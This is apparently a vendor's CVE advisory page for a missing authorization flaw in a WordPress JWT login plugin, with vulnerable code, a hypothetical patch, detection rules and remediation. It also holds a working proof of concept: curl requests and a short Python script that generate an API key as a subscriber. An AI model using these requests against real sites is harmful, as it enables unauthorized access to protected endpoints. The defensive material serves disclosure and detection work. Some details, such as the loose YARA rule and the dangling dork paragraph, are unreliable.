CVE-2025-12822
Executive Summary
CVE-2025-12822 is a Missing Authorization vulnerability in the Miniorange WP Login and Register using JWT WordPress plugin, affecting all versions up to and including 3.0.0. The flaw resides in the mo_jwt_generate_new_api_key function, which lacks a proper capability check. This allows any authenticated attacker with Subscriber-level access or higher to generate a new API key on sites that do not already have one configured. Once generated, this API key can be used to access restricted endpoints, leading to unauthorized data access.
This vulnerability is particularly dangerous in a WordPress ecosystem because it bypasses the intended access controls for API key management. The CVSS score is 4.3 (Medium), but the impact is amplified by the low complexity and low privilege required for exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin's page for updates and apply patches as soon as they become available. Since the patch status is currently unknown, manual mitigation is required.
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Subscriber-level)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low
- Integrity Impact: None
- Availability Impact: None
The threat level is Medium due to the low barrier to entry (authenticated subscriber) and the potential for unauthorized access to sensitive data via API endpoints.
Deep Dive & Mechanics
The vulnerability exists in the mo_jwt_generate_new_api_key function, which is intended to allow administrators to generate a new API key for JWT authentication. However, the function does not perform a capability check (e.g., current_user_can('manage_options')) before executing. This means any authenticated user, including Subscribers, can trigger the function.
When triggered, the function generates a new API key and stores it in the WordPress options table. If the site does not already have an API key configured, this newly generated key becomes active. An attacker can then use this key to authenticate to any REST API endpoint that relies on JWT tokens, potentially accessing data or performing actions that should be restricted.
The attack flow:
- Attacker logs in as a Subscriber.
- Attacker sends a POST request to the vulnerable endpoint (e.g.,
/wp-admin/admin-ajax.php?action=mo_jwt_generate_new_api_key). - The plugin generates a new API key and returns it in the response.
- Attacker uses the API key to forge JWT tokens and access protected endpoints.
Vulnerable vs. Patched Code
Vulnerable Code (<= 3.0.0):
add_action('wp_ajax_mo_jwt_generate_new_api_key', 'mo_jwt_generate_new_api_key');
function mo_jwt_generate_new_api_key() {
// No capability check
$api_key = wp_generate_password(32, false);
update_option('mo_jwt_api_key', $api_key);
wp_send_json_success(array('api_key' => $api_key));
}
Patched Code (Hypothetical):
add_action('wp_ajax_mo_jwt_generate_new_api_key', 'mo_jwt_generate_new_api_key');
function mo_jwt_generate_new_api_key() {
// Proper capability check
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
$api_key = wp_generate_password(32, false);
update_option('mo_jwt_api_key', $api_key);
wp_send_json_success(array('api_key' => $api_key));
}
The patch adds a current_user_can('manage_options') check to ensure only administrators can generate API keys.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with the vulnerable plugin installed and no existing API key.
- A valid Subscriber account (or higher).
Exploitation Steps:
Generate API Key:
curl -X POST 'http://target.com/wp-admin/admin-ajax.php' \ -d 'action=mo_jwt_generate_new_api_key' \ --cookie 'wordpress_logged_in_<hash>=<subscriber_cookie>'Extract API Key from Response:
{"success":true,"data":{"api_key":"generated_key_here"}}Use API Key to Access Restricted Endpoints:
curl -H 'Authorization: Bearer <jwt_token_signed_with_api_key>' \ 'http://target.com/wp-json/restricted/v1/endpoint'
Automated Exploit Script (Python):
import requests
import sys
target = sys.argv[1]
session = requests.Session()
# Assume session is authenticated as subscriber
response = session.post(f'{target}/wp-admin/admin-ajax.php', data={'action': 'mo_jwt_generate_new_api_key'})
if response.json().get('success'):
api_key = response.json()['data']['api_key']
print(f'[+] API Key: {api_key}')
else:
print('[-] Failed to generate API key')
Blue Team
Detection Steps:
- Monitor for POST requests to
/wp-admin/admin-ajax.phpwithaction=mo_jwt_generate_new_api_keyfrom non-admin users. - Alert on sudden creation of new API keys in the
wp_optionstable. - Review authentication logs for JWT tokens that were not issued by legitimate admin actions.
Honeypot Setup:
- Create a fake API key endpoint that logs all requests and alerts on unauthorized access.
Indicators of Compromise (IOCs)
Network:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=mo_jwt_generate_new_api_keyfrom low-privilege users. - Unusual JWT tokens in REST API requests that were not generated by admin.
- POST requests to
Host:
- New entry in
wp_optionstable withoption_name = 'mo_jwt_api_key'and a value that was not set by an admin. - Log entries showing
mo_jwt_generate_new_api_keyfunction calls from non-admin users.
- New entry in
File:
- Modified plugin files (though unlikely in this case).
Detection Engineering
YARA Rule
rule CVE_2025_12822_Missing_Auth {
meta:
description = "Detects vulnerable mo_jwt_generate_new_api_key function in WP Login and Register using JWT plugin"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-12822"
strings:
$func = "mo_jwt_generate_new_api_key" nocase
$no_check = "current_user_can" nocase
condition:
$func and not $no_check
}
Sigma Rule
title: CVE-2025-12822 - Missing Authorization in WP Login and Register using JWT
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit missing capability check in mo_jwt_generate_new_api_key function
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/wp-admin/admin-ajax.php'
cs-uri-query: 'action=mo_jwt_generate_new_api_key'
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-12822 - WP Login and Register using JWT Missing Authorization";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=mo_jwt_generate_new_api_key"; http_client_body;
classtype:attempted-recon;
sid:10000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not essential, or restrict access to the vulnerable endpoint via
.htaccessor web application firewall (WAF) rules. - Manually patch the plugin by adding a capability check to the
mo_jwt_generate_new_api_keyfunction (see patched code above). - Revoke any existing API keys that may have been generated by unauthorized users.
Long-term Fix:
- Monitor the plugin's official page for a security update and apply it as soon as available.
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwithaction=mo_jwt_generate_new_api_keyfrom non-admin users.
Workaround:
- Use a plugin like "User Role Editor" to remove the
readcapability from Subscribers if they are not needed, though this may break functionality.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.